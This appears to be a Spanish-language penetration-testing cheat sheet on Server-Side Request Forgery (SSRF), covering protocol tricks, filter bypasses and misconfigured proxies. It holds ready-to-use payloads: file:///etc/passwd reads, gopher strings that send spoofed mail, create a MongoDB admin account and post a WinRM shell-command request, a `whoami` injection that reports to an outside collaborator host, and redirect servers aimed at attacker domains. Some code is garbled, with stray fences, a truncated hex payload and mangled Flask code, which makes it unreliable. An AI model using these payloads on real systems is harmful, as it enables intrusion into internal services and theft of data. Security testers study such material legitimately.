SSRF (Server Side Request Forgery)

Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. ¡Obtenga acceso hoy:

Aprenda hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

Una vulnerabilidad de Server-side Request Forgery (SSRF) ocurre cuando un atacante manipula una aplicación del lado del servidor para realizar solicitudes HTTP a un dominio de su elección. Esta vulnerabilidad expone al servidor a solicitudes externas arbitrarias dirigidas por el atacante.

Captura de SSRF

Lo primero que debe hacer es capturar una interacción de SSRF generada por usted. Para capturar una interacción HTTP o DNS, puede utilizar herramientas como:

Bypass de Dominios en Lista Blanca

Por lo general, encontrará que el SSRF solo funciona en ciertos dominios o URL en lista blanca. En la siguiente página tiene una recopilación de técnicas para intentar evadir esa lista blanca:

pageURL Format Bypass

Bypass a través de redirección abierta

Si el servidor está protegido correctamente, podría evadir todas las restricciones explotando una Redirección Abierta dentro de la página web. Debido a que la página web permitirá SSRF al mismo dominio y probablemente seguirá las redirecciones, puede explotar la Redirección Abierta para hacer que el servidor acceda a cualquier recurso interno. Lea más aquí: https://portswigger.net/web-security/ssrf

Protocolos

  • file://

  • El esquema de URL file:// se referencia, apuntando directamente a /etc/passwd: file:///etc/passwd

  • dict://

  • El esquema de URL DICT se describe como utilizado para acceder a definiciones o listas de palabras a través del protocolo DICT. Se ilustra un ejemplo de una URL construida que apunta a una palabra específica, una base de datos y un número de entrada, así como una instancia de un script PHP que podría ser mal utilizado para conectarse a un servidor DICT utilizando credenciales proporcionadas por el atacante: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • Identificado como un protocolo para la transferencia segura de archivos a través de shell seguro, se proporciona un ejemplo que muestra cómo un script PHP podría ser explotado para conectarse a un servidor SFTP malicioso: url=sftp://generic.com:11111/

  • TFTP://

  • Se menciona el Protocolo de Transferencia de Archivos Triviales, que opera sobre UDP, con un ejemplo de un script PHP diseñado para enviar una solicitud a un servidor TFTP. Se realiza una solicitud TFTP a 'generic.com' en el puerto '12346' para el archivo 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • Este segmento cubre el Protocolo Ligero de Acceso a Directorios, enfatizando su uso para administrar y acceder a servicios de información de directorio distribuido sobre redes IP. Interactúe con un servidor LDAP en localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • Se describe un método para explotar vulnerabilidades de SSRF para interactuar con servicios SMTP en localhost, incluidos los pasos para revelar nombres de dominio internos y acciones investigativas adicionales basadas en esa información.

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - Bypass de WAF

  • Si el SSRF es ejecutado por curl, curl tiene una característica llamada URL globbing que podría ser útil para evadir los WAFs. Por ejemplo, en este writeup puedes encontrar este ejemplo de traversal de ruta a través del protocolo file:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://

  • Se discute la capacidad del protocolo Gopher para especificar IP, puerto y bytes para la comunicación del servidor, junto con herramientas como Gopherus y remote-method-guesser para crear payloads. Se ilustran dos usos distintos:

Gopher://

Usando este protocolo puedes especificar la IP, puerto y bytes que deseas que el servidor envíe. Luego, básicamente puedes explotar un SSRF para comunicarte con cualquier servidor TCP (pero primero necesitas saber cómo hablar con el servicio). Afortunadamente, puedes usar Gopherus para crear payloads para varios servicios. Además, remote-method-guesser se puede utilizar para crear payloads gopher para servicios Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP - Conexión de retorno a 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Crear usuario con nombre de usuario=admin con contraseña=admin123 y con permiso=administrador

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF a través del encabezado Referrer y Otros

El software de análisis en servidores a menudo registra el encabezado Referrer para rastrear enlaces entrantes, una práctica que expone inadvertidamente las aplicaciones a vulnerabilidades de falsificación de solicitudes en el lado del servidor (SSRF). Esto se debe a que dicho software puede visitar URLs externas mencionadas en el encabezado Referrer para analizar el contenido del sitio de referencia. Para descubrir estas vulnerabilidades, se recomienda el complemento de Burp Suite "Collaborator Everywhere", aprovechando la forma en que las herramientas de análisis procesan el encabezado Referer para identificar posibles superficies de ataque SSRF.

SSRF a través de datos SNI del certificado

Una mala configuración que podría permitir la conexión a cualquier backend a través de una configuración simple se ilustra con un ejemplo de configuración de Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

En esta configuración, el valor del campo de Indicación del Nombre del Servidor (SNI) se utiliza directamente como la dirección del backend. Esta configuración expone una vulnerabilidad a la Falsificación de Petición del Lado del Servidor (SSRF), la cual puede ser explotada simplemente especificando la dirección IP o nombre de dominio deseado en el campo SNI. A continuación se muestra un ejemplo de explotación para forzar una conexión a un backend arbitrario, como internal.host.com, utilizando el comando openssl:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF con Inyección de Comandos

Podría valer la pena probar un payload como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderizado de PDFs

Si la página web está creando automáticamente un PDF con alguna información que has proporcionado, puedes insertar algo de JS que será ejecutado por el propio creador de PDF (el servidor) mientras crea el PDF y podrás abusar de un SSRF. Encuentra más información aquí.

De SSRF a DoS

Crea varias sesiones e intenta descargar archivos pesados explotando el SSRF desde las sesiones.

Funciones PHP de SSRF

pagePHP SSRF

Redirección de SSRF a Gopher

Para algunas explotaciones es posible que necesites enviar una respuesta de redirección (potencialmente para usar un protocolo diferente como gopher). Aquí tienes diferentes códigos en python para responder con una redirección:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20
```html
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Utilice Trickest para construir y automatizar flujos de trabajo fácilmente con las herramientas comunitarias más avanzadas del mundo. Obtenga acceso hoy:

Proxies mal configurados para SSRF

Trucos de esta publicación.

Flask

Código vulnerable de proxy Flask

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask permite usar **`@`** como carácter inicial, lo que permite hacer que el **nombre de host inicial sea el nombre de usuario** e inyectar uno nuevo. Solicitud de ataque:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Código vulnerable:

Se descubrió que es posible iniciar la ruta de una solicitud con el carácter ; lo que permite luego usar @ e inyectar un nuevo host para acceder. Solicitud de ataque:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Servidor Web Integrado de PHP

Última actualización